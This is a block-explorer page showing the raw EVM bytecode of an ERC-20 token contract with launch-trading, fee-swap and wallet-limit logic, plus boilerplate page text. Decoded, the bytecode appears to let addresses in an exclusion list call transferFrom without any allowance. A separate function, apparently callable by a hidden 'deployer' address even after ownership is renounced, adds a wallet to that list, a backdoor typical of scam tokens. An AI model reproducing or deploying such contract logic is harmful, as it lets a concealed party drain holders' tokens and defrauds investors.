81529051919093169263ad5c46489260048083019391928290030181865afa15801561140c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611430919061172f565b8160018151811061144357611443611921565b6001600160a01b0392831660209182029290920101526011546114699130911684610b04565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a19085905f90869030904290600401611935565b5f604051808303815f87803b1580156114b8575f80fd5b505af11580156114ca573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109c5573d5f803e3d5ffd5b5f8061152183856118c4565b9050838110156113135760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f9565b5f61131383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ec565b5f81836115d45760405162461bcd60e51b81526004016103f991906115e0565b505f61121b8486611902565b5f602080835283518060208501525f5b8181101561160c578581018301518582016040015282016115f0565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109c5575f80fd5b5f8060408385031215611651575f80fd5b823561165c8161162c565b946020939093013593505050565b5f6020828403121561167a575f80fd5b81356113138161162c565b5f805f60608486031215611697575f80fd5b83356116a28161162c565b925060208401356116b28161162c565b929592945050506040919091013590565b5f80604083850312156116d4575f80fd5b82356116df8161162c565b915060208301356116ef8161162c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561173f575f80fd5b81516113138161162c565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561179857815f190482111561177e5761177e61174a565b8085161561178b57918102915b93841c9390800290611763565b509250929050565b5f826117ae57506001610701565b816117ba57505f610701565b81600181146117d057600281146117da576117f6565b6001915050610701565b60ff8411156117eb576117eb61174a565b50506001821b610701565b5060208310610133831016604e8410600b8410161715611819575081810a610701565b611823838361175e565b805f19048211156118365761183661174a565b029392505050565b5f61131360ff8416836117a0565b80820281158282048414176107015761070161174a565b5f805f60608486031215611875575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561189e575f80fd5b5051919050565b5f602082840312156118b5575f80fd5b81518015158114611313575f80fd5b808201808211156107015761070161174a565b5f600182016118e8576118e861174a565b5060010190565b818103818111156107015761070161174a565b5f8261191c57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119855784516001600160a01b031683529383019391830191600101611960565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220130b1ad8df949e4086d62ded13819e1c403abbb3a7707ec738f847c091d5e43864736f6c63430008180033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c01461031457806395d89b4114610329578063a9059cbb14610358578063bf474bed14610377578063dd62ed3e1461038c575f80fd5b8063715018a6146102925780637d1db4a5146102a657806382238a63146102bb578063833ab6ac146102cf5780638da5cb5b146102ee575f80fd5b80631905fbf6116100e35780631905fbf6146101e657806323b872dd14610205578063313ce5671461022457806332489e9b1461023f57806370a082311461025e575f80fd5b806301339c211461012957806306fdde031461013f578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d2575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103d0565b005b34801561014a575f80fd5b50604080518082019091526007815266141bdc18dd5b1d60ca1b60208201525b60405161017791906115e0565b60405180910390f35b34801561018b575f80fd5b5061019f61019a366004611640565b6106f1565b6040519015158152602001610177565b3480156101ba575f80fd5b506101c460105481565b604051908152602001610177565b3480156101dd575f80fd5b506101c4610707565b3480156101f1575f80fd5b5061013d61020036600461166a565b610727565b348015610210575f80fd5b5061019f61021f366004611685565b6107af565b34801561022f575f80fd5b5060405160098152602001610177565b34801561024a575f80fd5b5061013d61025936600461166a565b610827565b348015610269575f80fd5b506101c461027836600461166a565b6001600160a01b03165f9081526001602052604090205490565b34801561029d575f80fd5b5061013d61090f565b3480156102b1575f80fd5b506101c4600d5481565b3480156102c6575f80fd5b5061013d610968565b3480156102da575f80fd5b5061013d6102e9366004611640565b6109c8565b3480156102f9575f80fd5b505f546040516001600160a01b039091168152602001610177565b34801561031f575f80fd5b506101c4600e5481565b348015610334575f80fd5b506040805180820190915260078152661413d410d5531560ca1b602082015261016a565b348015610363575f80fd5b5061019f610372366004611640565b610af8565b348015610382575f80fd5b506101c4600f5481565b348015610397575f80fd5b506101c46103a63660046116c3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146104025760405162461bcd60e51b81526004016103f9906116fa565b60405180910390fd5b601354600160a01b900460ff161561045c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f9565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d0919061172f565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610553919061172f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561059d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c1919061172f565b601280546001600160a01b0319166001600160a01b03928316179055601154610606913091166105f36009600a61183e565b61060190633b9aca0061184c565b610b04565b6011546001600160a01b031663f305d7194730610637816001600160a01b03165f9081526001602052604090205490565b5f8061064a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106b0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106d59190611863565b50506013805462ff00ff60a01b19166201000160a01b17905550565b5f6106fd338484610b04565b5060015b92915050565b5f6107146009600a61183e565b61072290633b9aca0061184c565b905090565b6013546001600160a01b0316336001600160a01b0316146107765760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b60448201526064016103f9565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f6107bb848484610c27565b335f9081526003602052604090205460ff1661081d5761081d8433610601856040518060600160405280602881526020016119a7602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111ec565b5060019392505050565b5f546001600160a01b031633146108505760405162461bcd60e51b81526004016103f9906116fa565b61085c6009600a61183e565b61086a90633b9aca0061184c565b600d556108796009600a61183e565b61088790633b9aca0061184c565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108ed6009600a61183e565b6108fb90633b9aca0061184c565b60405190815260200160405180910390a150565b5f546001600160a01b031633146109385760405162461bcd60e51b81526004016103f9906116fa565b6109446009600a61183e565b61095290633b9aca0061184c565b600d541461095e575f80fd5b610966611224565b565b5f546001600160a01b031633146109915760405162461bcd60e51b81526004016103f9906116fa565b5f471161099c575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156109c5573d5f803e3d5ffd5b50565b5f546001600160a01b031633146109f15760405162461bcd60e51b81526004016103f9906116fa565b6040516370a0823160e01b81523060048201525f90610a7290606490610a6c9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a42573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a66919061188e565b90611295565b9061131a565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610ace573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610af291906118a5565b50505050565b5f6106fd338484610c27565b6001600160a01b038316610b665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f9565b6001600160a01b038216610bc75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f9565b6001600160a01b038216610ced5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f9565b5f8111610d4e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f9565b5f80546001600160a01b03858116911614801590610d7957505f546001600160a01b03848116911614155b156110af576012546001600160a01b038581169116148015610da957506011546001600160a01b03848116911614155b8015610dcd57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f2c57601354600160a01b900460ff16610e235760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103f9565b610e496064610a6c600954600c5411610e3e57600554610e42565b6007545b8590611295565b9050600d54821115610e9d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f9565b600e5482610ebf856001600160a01b03165f9081526001602052604090205490565b610ec991906118c4565b1115610f175760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f9565b600c8054905f610f26836118d7565b91905055505b6012546001600160a01b03848116911614801590610f6257506001600160a01b0383165f9081526003602052604090205460ff16155b15610fe157600e5482610f89856001600160a01b03165f9081526001602052604090205490565b610f9391906118c4565b1115610fe15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f9565b6012546001600160a01b039081169084160361101f5761101c6064610a6c600a54600c541161101257600654610e42565b6008548590611295565b90505b601354600160a81b900460ff1615801561104657506012546001600160a01b038481169116145b801561105b5750601354600160b01b900460ff165b801561106a5750600b54600c54115b156110af57305f90815260016020526040902054600f548111156110a5576110a56110a08461109b8460105461135b565b61135b565b61136f565b6110ad6114df565b505b801561112757305f908152600160205260409020546110ce9082611515565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061111e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111499083611573565b6001600160a01b0385165f9081526001602052604090205561118c61116e8383611573565b6001600160a01b0385165f9081526001602052604090205490611515565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d58585611573565b60405190815260200160405180910390a350505050565b5f818484111561120f5760405162461bcd60e51b81526004016103f991906115e0565b505f61121b84866118ef565b95945050505050565b5f546001600160a01b0316331461124d5760405162461bcd60e51b81526004016103f9906116fa565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f825f036112a457505f610701565b5f6112af838561184c565b9050826112bc8583611902565b146113135760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f9565b9392505050565b5f61131383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b4565b5f8183116113695782611313565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113b5576113b5611921565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561140c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611430919061172f565b8160018151811061144357611443611921565b6001600160a01b0392831660209182029290920101526011546114699130911684610b04565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a19085905f90869030904290600401611935565b5f604051808303815f87803b1580156114b8575f80fd5b505af11580156114ca573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109c5573d5f803e3d5ffd5b5f8061152183856118c4565b9050838110156113135760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f9565b5f61131383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ec565b5f81836115d45760405162461bcd60e51b81526004016103f991906115e0565b505f61121b8486611902565b5f602080835283518060208501525f5b8181101561160c578581018301518582016040015282016115f0565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109c5575f80fd5b5f8060408385031215611651575f80fd5b823561165c8161162c565b946020939093013593505050565b5f6020828403121561167a575f80fd5b81356113138161162c565b5f805f60608486031215611697575f80fd5b83356116a28161162c565b925060208401356116b28161162c565b929592945050506040919091013590565b5f80604083850312156116d4575f80fd5b82356116df8161162c565b915060208301356116ef8161162c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561173f575f80fd5b81516113138161162c565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561179857815f190482111561177e5761177e61174a565b8085161561178b57918102915b93841c9390800290611763565b509250929050565b5f826117ae57506001610701565b816117ba57505f610701565b81600181146117d057600281146117da576117f6565b6001915050610701565b60ff8411156117eb576117eb61174a565b50506001821b610701565b5060208310610133831016604e8410600b8410161715611819575081810a610701565b611823838361175e565b805f19048211156118365761183661174a565b029392505050565b5f61131360ff8416836117a0565b80820281158282048414176107015761070161174a565b5f805f60608486031215611875575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561189e575f80fd5b5051919050565b5f602082840312156118b5575f80fd5b81518015158114611313575f80fd5b808201808211156107015761070161174a565b5f600182016118e8576118e861174a565b5060010190565b818103818111156107015761070161174a565b5f8261191c57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119855784516001600160a01b031683529383019391830191600101611960565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220130b1ad8df949e4086d62ded13819e1c403abbb3a7707ec738f847c091d5e43864736f6c63430008180033

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.